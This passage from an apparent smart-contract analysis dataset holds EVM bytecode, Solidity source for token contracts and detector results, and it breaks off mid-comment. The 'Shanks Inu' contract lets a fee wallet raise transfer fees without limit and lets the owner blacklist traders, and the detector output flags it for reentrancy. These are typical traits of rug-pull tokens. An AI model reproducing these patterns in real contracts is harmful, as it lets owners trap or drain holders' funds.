1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220078fa3e7600a73f0b548c276a093f24d387af32e9dd224560a0e3f661bdccfbe64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
593
0xf2cdc5126195cd3a352c17a2147ed1522ae943a4
/** * https://t.me/ShanksInu **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShanksInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x5b47A3fb2309ba9Af06Fe05660aEd1a674F20fC3); address payable private _feeAddrWallet2 = payable(0x55005dE937459CF5DD5a5fAA18466bDBe8B5B495); string private constant _name = "Shanks Inu"; string private constant _symbol = "Shanks"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610321578063c3c8cd8014610341578063c9567bf914610356578063cfe81ba01461036b578063dd62ed3e1461038b57600080fd5b8063715018a614610275578063842b7c081461028a5780638da5cb5b146102aa57806395d89b41146102d2578063a9059cbb1461030157600080fd5b8063273123b7116100e7578063273123b7146101e2578063313ce567146102045780635932ead1146102205780636fc3eaec1461024057806370a082311461025557600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152695368616e6b7320496e7560b01b60208201525b604051610160919061187d565b60405180910390f35b34801561017557600080fd5b50610189610184366004611704565b6103d1565b6040519015158152602001610160565b3480156101a557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610160565b3480156101ce57600080fd5b506101896101dd3660046116c3565b6103e8565b3480156101ee57600080fd5b506102026101fd366004611650565b610451565b005b34801561021057600080fd5b5060405160098152602001610160565b34801561022c57600080fd5b5061020261023b3660046117fc565b6104a5565b34801561024c57600080fd5b506102026104ed565b34801561026157600080fd5b506101b4610270366004611650565b61051a565b34801561028157600080fd5b5061020261053c565b34801561029657600080fd5b506102026102a5366004611836565b6105b0565b3480156102b657600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102de57600080fd5b506040805180820190915260068152655368616e6b7360d01b6020820152610153565b34801561030d57600080fd5b5061018961031c366004611704565b610607565b34801561032d57600080fd5b5061020261033c366004611730565b610614565b34801561034d57600080fd5b506102026106aa565b34801561036257600080fd5b506102026106e0565b34801561037757600080fd5b50610202610386366004611836565b610aa9565b34801561039757600080fd5b506101b46103a636600461168a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103de338484610b00565b5060015b92915050565b60006103f5848484610c24565b610447843361044285604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f07565b610b00565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047b906118d2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050d57600080fd5b4761051781610f41565b50565b6001600160a01b0381166000908152600260205260408120546103e290610fc6565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161047b906118d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106025760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600a55565b60006103de338484610c24565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161047b906118d2565b60005b81518110156106a65760016006600084848151811061066257610662611a19565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e816119e8565b915050610641565b5050565b600c546001600160a01b0316336001600160a01b0316146106ca57600080fd5b60006106d53061051a565b90506105178161104a565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161047b906118d2565b600f54600160a01b900460ff16156107645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a430826b033b2e3c9fd0803ce8000000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061166d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061166d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061166d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109458161051a565b60008061095a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f6919061184f565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611819565b600d546001600160a01b0316336001600160a01b031614610afb5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600b55565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610ef7576001600160a01b03831660009081526006602052604090205460ff16158015610dbf57506001600160a01b03821660009081526006602052604090205460ff16155b610dc857600080fd5b600f546001600160a01b038481169116148015610df35750600e546001600160a01b03838116911614155b8015610e1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2d5750600f54600160b81b900460ff165b15610e8a57601054811115610e4157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6557600080fd5b610e7042601e611978565b6001600160a01b0383166000908152600760205260409020555b6000610e953061051a565b600f54909150600160a81b900460ff16158015610ec05750600f546001600160a01b03858116911614155b8015610ed55750600f54600160b01b900460ff165b15610ef557610ee38161104a565b478015610ef357610ef347610f41565b505b505b610f028383836111d3565b505050565b60008184841115610f2b5760405162461bcd60e51b815260040161047b919061187d565b506000610f3884866119d1565b95945050505050565b600c546001600160a01b03166108fc610f5b8360026111de565b6040518115909202916000818181858888f19350505050158015610f83573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9e8360026111de565b6040518115909202916000818181858888f193505050501580156106a6573d6000803e3d6000fd5b600060085482111561102d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047b565b6000611037611220565b905061104383826111de565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109257611092611a19565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e657600080fd5b505afa1580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e919061166d565b8160018151811061113157611131611a19565b6001600160a01b039283166020918202929092010152600e546111579130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611190908590600090869030904290600401611907565b600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f02838383611243565b600061104383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061133a565b600080600061122d611368565b909250905061123c82826111de565b9250505090565b600080600080600080611255876113b0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611287908761140d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b6908661144f565b6001600160a01b0389166000908152600260205260409020556112d8816114ae565b6112e284836114f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132791815260200190565b60405180910390a3505050505050505050565b6000818361135b5760405162461bcd60e51b815260040161047b919061187d565b506000610f388486611990565b60085460009081906b033b2e3c9fd0803ce800000061138782826111de565b8210156113a7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cd8a600a54600b5461151c565b92509250925060006113dd611220565b905060008060006113f08e878787611571565b919e509c509a509598509396509194505050505091939550919395565b600061104383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f07565b60008061145c8385611978565b9050838110156110435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b60006114b8611220565b905060006114c683836115c1565b306000908152600260205260409020549091506114e3908261144f565b30600090815260026020526040902055505050565b600854611505908361140d565b600855600954611515908261144f565b6009555050565b6000808080611536606461153089896115c1565b906111de565b9050600061154960646115308a896115c1565b905060006115618261155b8b8661140d565b9061140d565b9992985090965090945050505050565b600080808061158088866115c1565b9050600061158e88876115c1565b9050600061159c88886115c1565b905060006115ae8261155b868661140d565b939b939a50919850919650505050505050565b6000826115d0575060006103e2565b60006115dc83856119b2565b9050826115e98583611990565b146110435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b803561164b81611a45565b919050565b60006020828403121561166257600080fd5b813561104381611a45565b60006020828403121561167f57600080fd5b815161104381611a45565b6000806040838503121561169d57600080fd5b82356116a881611a45565b915060208301356116b881611a45565b809150509250929050565b6000806000606084860312156116d857600080fd5b83356116e381611a45565b925060208401356116f381611a45565b929592945050506040919091013590565b6000806040838503121561171757600080fd5b823561172281611a45565b946020939093013593505050565b6000602080838503121561174357600080fd5b823567ffffffffffffffff8082111561175b57600080fd5b818501915085601f83011261176f57600080fd5b81358181111561178157611781611a2f565b8060051b604051601f19603f830116810181811085821117156117a6576117a6611a2f565b604052828152858101935084860182860187018a10156117c557600080fd5b600095505b838610156117ef576117db81611640565b8552600195909501949386019386016117ca565b5098975050505050505050565b60006020828403121561180e57600080fd5b813561104381611a5a565b60006020828403121561182b57600080fd5b815161104381611a5a565b60006020828403121561184857600080fd5b5035919050565b60008060006060848603121561186457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118aa5785810183015185820160400152820161188e565b818111156118bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198b5761198b611a03565b500190565b6000826119ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119cc576119cc611a03565b500290565b6000828210156119e3576119e3611a03565b500390565b60006000198214156119fc576119fc611a03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051757600080fd5b801515811461051757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f3451686c0db6f98c45d2eb3402e850b1fc31c0e11400f6eb94f274cf037623f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
594
0x2c6fc5bb896707254b8d4786532c456a1b534fc2
pragma solidity ^0.4.24; /** * Powered by Daonomic (https://daonomic.io) */ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. 